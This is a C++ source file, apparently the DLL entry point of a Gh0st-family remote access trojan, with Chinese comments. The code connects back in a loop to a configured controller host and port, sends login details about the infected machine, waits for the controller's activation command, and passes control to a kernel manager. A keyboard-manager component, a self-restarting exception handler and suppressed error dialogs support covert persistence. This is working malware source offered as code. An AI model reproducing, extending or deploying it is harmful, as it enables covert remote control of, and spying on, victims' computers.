2020-05-28 18:37:25 +08:00

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// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include "common/KeyboardManager.h"
#include "common/KernelManager.h"
#include "common/login.h"
char g_strSvchostName[MAX_PATH];//服务名
char g_strHost[MAX_PATH];
DWORD g_dwPort;
DWORD g_dwServiceType;
enum
{
NOT_CONNECT, // 还没有连接
GETLOGINFO_ERROR,//获取信息失败
CONNECT_ERROR,//链接失败
HEARTBEATTIMEOUT_ERROR //心跳超时链接失败
};
DWORD WINAPI main(char *lpServiceName);
//处理异常
LONG WINAPI bad_exception(struct _EXCEPTION_POINTERS* ExceptionInfo) {
// 发生异常,重新创建进程
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strSvchostName, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return 0;
}
DWORD WINAPI main(char *lpServiceName)
{
// lpServiceName,在ServiceMain返回后就没有了
char strServiceName[256] = {0};
char strKillEvent[50] = { 0 };
HANDLE hInstallMutex = NULL;
//////////////////////////////////////////////////////////////////////////
// Set Window Station
HWINSTA hOldStation = GetProcessWindowStation();
HWINSTA hWinSta = OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED);
if (hWinSta != NULL)
SetProcessWindowStation(hWinSta);
//
//////////////////////////////////////////////////////////////////////////
//--这里判断CKeyboardManager::g_hInstance是否为空 如果不为空则开启错误处理
//--这里要在dllmain中为CKeyboardManager::g_hInstance赋值
if (CKeyboardManager::g_hInstance != NULL)
{
//设置异常
SetUnhandledExceptionFilter(bad_exception);
lstrcpy(strServiceName, lpServiceName);
wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount()); // 随机事件名
hInstallMutex = CreateMutex(NULL, true, g_strHost);
//ReConfigService(strServiceName);
// 删除安装文件
// DeleteInstallFile(lpServiceName);
}
// 告诉操作系统:如果没有找到CD/floppy disc,不要弹窗口吓人
SetErrorMode(SEM_FAILCRITICALERRORS);
char *lpszHost = NULL;
DWORD dwPort = 80;
char *lpszProxyHost = NULL;
DWORD dwProxyPort = 0;
char *lpszProxyUser = NULL;
char *lpszProxyPass = NULL;
HANDLE hEvent = NULL;
//---这里声明了一个 CClientSocket类
CClientSocket socketClient;
BYTE bBreakError = NOT_CONNECT; // 断开连接的原因,初始化为还没有连接
//这个循环里判断是否连接成功如果不成功则继续向下
while (1)
{
// 如果不是心跳超时不用再sleep两分钟
if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR)
{
// 2分钟断线重连, 为了尽快响应killevent
for (int i = 0; i < 2000; i++)
{
hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
if (hEvent != NULL)
{
socketClient.Disconnect();
CloseHandle(hEvent);
break;
break;
}
// 改一下
Sleep(60);
}
}
//上线地址
lpszHost = g_strHost;
dwPort = g_dwPort;
if (lpszProxyHost != NULL)
socketClient.setGlobalProxyOption(PROXY_SOCKS_VER5, lpszProxyHost, dwProxyPort, lpszProxyUser, lpszProxyPass);
else
socketClient.setGlobalProxyOption();
DWORD dwTickCount = GetTickCount();
//---调用Connect函数向主控端发起连接
if (!socketClient.Connect(lpszHost, dwPort))
{
bBreakError = CONNECT_ERROR; //---连接错误跳出本次循环
continue;
}
// 登录
DWORD dwExitCode = SOCKET_ERROR;
sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount);
//---注意这里连接成功后声明了一个CKernelManager 到CKernelManager类查看一下
CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);
//socketClient中的主回调函数设置位这CKernelManager类中的OnReceive
//每个功能类都有OnReceive函数来处理接受的数据他们都继承自父类CManager
socketClient.setManagerCallBack(&manager);
//////////////////////////////////////////////////////////////////////////
// 等待控制端发送激活命令超时为10秒重新连接,以防连接错误
for (int i = 0; (i < 10 && !manager.IsActived()); i++)
{
Sleep(1000);
}
// 10秒后还没有收到控制端发来的激活命令说明对方不是控制端重新连接获取是否有效标志
if (!manager.IsActived())
continue;
//////////////////////////////////////////////////////////////////////////
DWORD dwIOCPEvent;
dwTickCount = GetTickCount();//获取时间戳
do
{
hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100);
Sleep(500);
} while (hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0);
if (hEvent != NULL)
{
socketClient.Disconnect();
CloseHandle(hEvent);
break;
}
}
#ifdef _DLL
//////////////////////////////////////////////////////////////////////////
// Restor WindowStation and Desktop
// 不需要恢复卓面,因为如果是更新服务端的话,新服务端先运行,此进程恢复掉了卓面,会产生黑屏
// SetProcessWindowStation(hOldStation);
// CloseWindowStation(hWinSta);
//
//////////////////////////////////////////////////////////////////////////
#endif
SetErrorMode(0);
ReleaseMutex(hInstallMutex);
CloseHandle(hInstallMutex);
}
extern "C" __declspec(dllexport) void TestFun(char* strHost, int nPort)
{
strcpy(g_strHost, strHost); //保存上线地址
g_dwPort = nPort; //保存上线端口
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strHost, 0, NULL);
//这里等待线程结束
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
CKeyboardManager::g_hInstance = (HINSTANCE)hModule;
//CKeyboardManager::m_dwLastMsgTime = GetTickCount();
//CKeyboardManager::Initialization();
break;
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}